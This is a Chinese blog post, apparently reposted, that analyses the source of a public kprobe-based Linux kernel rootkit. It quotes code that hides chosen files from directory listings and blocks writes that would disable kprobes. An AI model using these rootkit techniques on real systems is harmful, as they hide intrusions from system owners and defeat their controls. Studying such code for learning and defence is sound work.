介绍

《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码

kprobe

kprobe的介绍可以看下面这几篇文章

介绍:https://www.cnblogs.com/honpey/p/4575928.html

原理:https://www.cnblogs.com/honpey/p/4575902.html

用法:https://blog.csdn.net/luckyapple1028/article/details/52972315

rootkit

用来隐藏进程,文件等信息的恶意软件

关于rootkit用来实现隐藏的一些基本操作可以在这里看见:https://www.cnblogs.com/likaiming/p/11002351.html

使用kprobe来写rootkit

作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit

这里分析一下这个项目的源码

这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头

char *hidden_files[] =
{
#define HIDDEN_FILES_MAX 3"test1","test2","test3"
};

在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置

//n_kallsyms_lookup_name这个函数好像找不到,一般用kallsyms_lookup_name这个函数
filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");

然后就向这两个函数的开头和结尾注册了jprobe和retprobe

//向sys_write和filldir64注入jprobe和retprobe
register_kretprobe(&filldir64_kp);
register_kretprobe(&syswrite_kp);register_jprobe(&filldir64_jp);
register_jprobe(&syswrite_jp);

同时还会去找另外3个函数的地址,get_task_comn是获得

_sys_close = (void *)n_kallsyms_lookup_name("sys_close");
_sys_open = (void *)n_kallsyms_lookup_name("sys_open");
_get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");

然后有4个kprobe结构,包含着我们的实现代码

static struct jprobe syswrite_jp =
{.entry = (kprobe_opcode_t *)j_sys_write
};static struct jprobe filldir64_jp =
{.entry = (kprobe_opcode_t *)j_filldir64
};static struct kretprobe filldir64_kp =
{.handler = filldir64_ret_handler,.maxactive = NR_CPUS
};static struct kretprobe syswrite_kp =
{.handler = sys_write_ret_handler,.maxactive = NR_CPUS
};

先看filldir64的两个函数

j_filldir64是jprobe的函数,在filldir64之前执行,
//遍历隐藏文件列表,查看是不是和隐藏文件同名
for (i = 0; i < HIDDEN_FILES_MAX; i++)
  if (strcmp(hidden_files[i], name) == 0)found_hidden_file++;
  if (!found_hidden_file)
    goto end;

如果有,则记录在全局变量中

        //全局指针,如果有,则记录下这么目录,g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;g_dentry.bypass++; // note that we want to bypass viewing this file

在返回的时候,如果发现是需要隐藏的目录,则直接清除掉

static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
{char *ptr, null = 0;/* Someone is looking at one of our hidden files */if (g_dentry.bypass){/* Lets nullify the filename so it simply is invisible */ptr = (char *)g_dentry.d_name_ptr;copy_to_user((char *)ptr, &null, sizeof(char));}
}

在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能

可以通过get_task_comn来获取进程的可执行文件名字

    _get_task_comm(comm, current);printk("comm: %s\n", comm);if (strcmp(comm, "ls"))    goto do_inode_check;else    /* check to see if this is an ls stat complaint, or ls -l weirdness *//* There are two separate calls to sys_write hence two strstr checks */if (strstr(s, "cannot access") || strstr(s, "ls:"))  {printk("Going to redirect\n");goto redirect;  }

然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled

       //先得到file结构,然后得到dentry,最后再得到inode结构file = fget(fd);if (!file)goto out;dentry = dget(file->f_path.dentry);if (!dentry)goto out;ino = dentry->d_inode->i_ino;dput(dentry);fput(file);/* If someone tries to disable kprobes or tries to see our probes *//* in /sys/kernel/debug/kprobes, it aint happening *///enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值if (ino == enabled_ino){printk("ino: %u\n", ino);    goto redirect;}elsegoto out;

最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样

        //KERNEL_DS范围很大,到0xffffffffffffffffmm_segment_t o_fs = get_fs();set_fs(KERNEL_DS);_sys_close(fd);fd = _sys_open(devnull, O_RDWR, 0);set_fs(o_fs);global_fd = fd;

关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html

在write写结束的位置,再关闭NULL文件就可以了。

转载于:https://www.cnblogs.com/likaiming/p/11091139.html

linux kprobe rootkit学习相关推荐

  1. linux kprobe rootkit 简介

    介绍 <linux二进制分析>中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码 kprobe kprobe的介绍可以看下面这几篇文章 介绍:h ...

  2. Linux第二周学习笔记(7)

    Linux第二周学习笔记(7) 2.13 文档查看cat_more_less_head_tail (1). cat命令 cat命令:用于查看一个文件的内容并将其显示在屏幕上 cat-A命令:显示所有的 ...

  3. Linux系统新手学习的11点建议

    随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux的一些建议. 一.从基础开始:常常有些朋友在Linux论 ...

  4. Linux第二周学习笔记(11)

    Linux第二周学习笔记(11) 2.17 隐藏权限lsattr_chattr chattr命令:是设置吟唱隐藏权限的命令,更改Linux文件系统上的文件属性. 参数说明: A:表示文件或目录的ati ...

  5. linux系统运维费用,一般Linux运维学习的费用是多少?Linux学习

    随着IT 互联网技术的发展,Linux逐渐成为中高端服务器的主要操作系统,并且目前地位不可替代.Linux运维工程师是一位"复合型人才",他集成了网络.系统.数据库.开发和安全等工 ...

  6. 20165219 预备作业3 Linux安装及学习

    20165219 预备作业3 Linux安装及学习 安装虚拟机 在安装的过程中遇到了不少的问题,在同学的帮助下都得到了解决.比如在新建虚拟机的时候没有64位这个选项,后来知道需要开启虚拟化,然后是安装 ...

  7. Linux防火墙iptables学习

    http://blog.chinaunix.net/uid-9950859-id-98277.html 要在网上传输的数据会被分成许多小的数据包,我们一旦接通了网络,会有很多数据包进入,离开,或者经过 ...

  8. linux常见系统目录,Linux系统中常见目录有哪些?linux运维学习中心

    Linux系统中常见目录有哪些?随着开源软件在世界范围内影响力日益增强,Linux服务器操作系统在整个服务器操作系统市场格局中占据了越来越多的市场份额,市场对于Linux运维人才的需求也是逐渐增加.L ...

  9. 基于linux的java学习,Java学习---Linux总结

    Linux总结 1.学习Linux的原因 学习Linux/Unix的原因是它们适合作为服务器,它们不是针对一个人的,是多用户的. 2.操作系统OS OS主要包括: 内核 kernel: 通常将一些与硬 ...

  10. linux线程并不真正并行,Linux系统编程学习札记(十二)线程1

    Linux系统编程学习笔记(十二)线程1 线程1: 线程和进程类似,但是线程之间能够共享更多的信息.一个进程中的所有线程可以共享进程文件描述符和内存. 有了多线程控制,我们可以把我们的程序设计成为在一 ...

最新文章

  1. 博客 | Machine Learning Yearning 要点笔记
  2. switchyomega规则列表备份_求人不如求己,自己动手写一个CSDN博客备份小工具?...
  3. hdu3460 字典树(打印机)
  4. linux 查看文件中数据类型,Linux下使用file命令确定文件中数据的类型-文件类型...
  5. 不用python编程,制作词云图
  6. 这2个单片机编程的思想,请你掌握。
  7. 解决SSH登录无响应timed out问题
  8. kafka专题:kafka的总控制器Controller、消费者重分配策略等核心设计原理详解
  9. PostgreSQL查询计划剖析
  10. oracle中的合并查询
  11. Linux Exploit系列之七 绕过 ASLR -- 第二部分
  12. 取消setfill_9.1.7 setFillBefore方法:设置起始填充
  13. 贺利坚老师汇编课程66笔记:自定义除法中断学习如何编制中断程序
  14. java飞机大战开始游戏按钮素材_飞机大战图片素材(全)
  15. MapTileDownloader 全能电子地图下载器
  16. 地理空间数据云 数据
  17. 根据经纬度查找附近的人计算公式
  18. ios微信组件跳转_在iOS9中突破微信App跳转的限制
  19. bim翻模教程:如何控制revit中的填充图案和构件显示隐藏
  20. 数据处理-500行Python代码处理ave/chunk命令下1d和2d分块数据

热门文章

  1. Windows下Nginx负载均衡配置和优化方案
  2. 帆软参数面板根据选择项type显示和隐藏参数项(或${if()}在SQL中的用法)根据条件动态显示参数控件
  3. FR JavaScript 调用存储执行并输出影响行数
  4. github leaf项目怎么用_这份GitHub上价值49K的SpringBoot2+Thymeleaf企业应用实战,真香...
  5. python爬虫哪个选择器好用_Python爬虫学习8-css选择器使用
  6. TServerSocket阻塞模式下Request-Response编程框架
  7. docker设置不同网络和迁移到指定网络
  8. 双证书体系key usage扩展——Outlook使用证书发送加密签名邮件
  9. 被后台杀死后,Android应用如何重新走闪屏逻辑
  10. arcgis api for js实现克里金插值渲染图--不依赖GP服务